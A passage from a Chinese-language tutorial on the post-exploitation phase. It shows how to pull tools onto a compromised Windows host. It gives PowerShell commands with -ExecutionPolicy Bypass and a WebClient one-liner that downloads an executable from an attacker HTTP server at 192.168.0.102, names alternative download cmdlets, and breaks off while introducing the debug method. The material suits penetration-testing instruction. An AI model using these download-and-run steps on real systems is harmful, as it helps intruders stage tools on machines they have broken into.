关于后漏洞利用阶段的介绍( 四 ) _漏洞

在已经开启http服务的情况下，在Windows环境通过命令执行上面这个脚本：

文章插图
powershell -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
如果执行的时候遇到“远程服务器返回错误: (403) 已禁止。” ，那应该是源文件的权限有问题，用chmod命令去修改一下权限就可以了。
执行命令中的一些参数-ExecutionPolicy主要是为了允许本地执行powershell脚本，感兴趣的可以通过-Help看一下帮助说明。
上面的脚本其实可以省略，直接在dos界面执行一个长命令：
powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.0.102/whoami.exe', 'D:w.exe')也能达到同样的效果：

文章插图
下载软件
如果本地的执行策略比较严格，还是需要加上前面的那些参数。
还有powershell能使用的模块很多，不一定要用System.Net.WebClient ，还有Invoke-WebRequest、Invoke-RestMethod、Start-BitTransfer都能达到同样的效果。具体使用哪一个模块，主要看你控制的机器具体版本，一般都是有什么用什么。
往Windows传文件：debugDebug工具是windows用来做汇编等的一个工具。在新一点的Windows10已经没有了，早一些的WindowsXp还是有的。如果你的目标机器是Windows10的系统，且现有条件让你必须使用debug ，那你必须给目标机器安装一个debug工具，这就变成先有鸡还是先有蛋的问题了。不是很推荐debug这种方式传输软件。
先将要传递的软件进行压缩：